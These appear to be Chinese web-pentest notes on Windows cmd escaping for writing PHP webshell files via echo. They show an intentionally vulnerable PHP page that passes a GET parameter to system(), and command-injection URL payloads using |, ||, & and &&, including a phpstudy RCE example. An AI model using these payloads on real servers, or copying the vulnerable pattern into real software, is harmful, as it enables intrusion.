windows下,对尖括号<>需要使用^进行转义。
在cmd里,输入 echo ^<?php phpinfo();?^>>a.php 可以写入一句话木马
在web渗透中,经常需要写一句话,这里以简单的命令执行为例
1.php内容如下:
<?php $d = $_GET['date']; system("echo ".$d); ?>
如果在浏览器里写,还需注意问号的转义。
http://localhost/1.php?date=^<^?php phpinfo();^?^> >b.php
以上的语句即可写入一句话。
如果用管道符会怎样呢?
Windows
“|”:直接执行后面的语句。如:ping 127.0.0.1|whoami
“||”:如果前面执行的语句出错则执行后面的语句,前面的语句只能为假 如:ping 2 || whoami
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 如 ping 127.0.0.1&whoami
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
使用&:
http://localhost/1.php?date=1%26echo ^<^?php phpinfo();^?^> >c.php //此处需要把&转义。 成功写入
使用||:
http://localhost/1.php?date=<a.a||echo ^<^?php phpinfo();^?^> >c.php //因为没有a.a文件,所以前面语句会出错
使用|:
反正是各种不成功,本次cmd测试如下:
貌似是把>当文件名来处理了。
这里以phpstudy的rce漏洞举例:
echo ^<?php phpinfo();?^>>PHPTutorialWWWa.php //务必注意路径